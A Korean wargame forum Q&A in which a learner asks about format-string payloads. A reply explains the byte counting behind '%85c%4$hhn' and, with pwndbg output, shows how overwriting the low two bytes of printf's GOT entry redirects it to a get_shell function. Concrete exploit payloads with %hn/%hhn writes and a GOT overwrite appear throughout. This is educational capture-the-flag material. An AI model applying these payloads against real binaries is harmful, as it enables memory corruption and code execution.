페이로드 구성 질문

제가 지식이 많이 짧아 기초적인 부분에서부터 막혀 풀이에 조금 어려움이 있었습니다. 해당 문제에 페이로드 구성 관련 질문중에 (질문 링크:https://dreamhack.io/forum/qna/2530/)

"pay += b'%85c%4$hhn'에 의해 overwrite에 0x69 오버라이트함.

4$이므로 pay의 4 * 4번째에 있는 4바이트(overwrite)에다가 0x69를 오버라이트합니다."

라는 답변이 달려있었는데, 제가 이해하기로는 %85c%4hhn에서 4번째 인자가 있는 자리에 지금까지 출력된 문자열의 길이 만큼을 덮어씌운다고 알고있습니다. 그렇다면 %85c로 인하여 총 85개의 문자열, hex로는 0x55가 덮어씌워져야 될 것 같은데 어째서 0x69가 덮어씌워지는지 모르겠습니다.

또 다른 페이로드 구성 관련 질문 중에서도 (https://dreamhack.io/forum/qna/294/)

첫 번째 %hn 페이로드 : \x12\xa0\x04\x08\x10\xa0\x04\x08%2044c%1$hn%32357c%2$hn
두 번째 %hhn 페이로드 : \x10\xa0\x04\x08\x11\xa0\x04\x08%97c%1$hhn%29c%2$hhn

이렇게 페이로드를 각각 구성하신 분이 있는데
앞에 리틀엔디안으로 적힌 부분이 첫번째와 두번째 페이로드가 다른 것을 확인하였습니다. 저건 overwrite를 해야하는 주소로 알고있는데 해당 질문 작성자 분의 실수인지 아니면 다른 이유가 있는지 궁금하고, 마지막으로 같은 질문에서 두번재 페이로드는 작동한다고 들었는데, hhn은 1바이트로 알고있습니다. hhn으로 두번 덮어씌우기만 하면 총 2바이트만 덮어씌워질텐데 어떻게 작동하는지도 궁금합니다.

이런 부분도 디버거로 제가 직접 궁금증을 해결하고 싶은데 경험이 많이 없다보니 도와주시면 감사하겟습니다 ㅜㅜ

#pwnable
작성자 정보
답변 1
avatar
d0razi
대표 업적 없음
pay = b'AAAA'            # 4byte
pay += p32(overwrite+2)  # 4byte
pay += p32(overwrite+1)  # 4byte
pay += p32(overwrite)    # 4byte
pay += p32(overwrite+3)  # 4byte
pay += b'%85c%4$hhn'     # (4byte * 5) + 85 Overwrite = 105(0x69)

앞에 입력한 문자열 값도 더해서 0x69입니다.


첫 번째 %hn 페이로드 : 0x0804a012 0x0804a010
두 번째 %hhn 페이로드 : 0x0804a010 0x0804a011

pwndbg> got
[0x804a010] printf@GLIBC_2.0 -> 0x8048466 (printf@plt+6) ◂— push 8

---

pwndbg> x/wx 0x0804a010
0x804a010 <printf@got.plt>:     0x08048466
pwndbg> x/bx 0x0804a010
0x804a010 <printf@got.plt>:     0x66
pwndbg> x/bx 0x0804a011
0x804a011 <printf@got.plt+1>:   0x84

0x08048466 에서 뒤 2byte 만 변경해주면 0x08048466 -> 0x08048669(get_shell) 로 바뀌기 때문에 쉘이 실행됩니다.

2025.01.20. 01:38
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기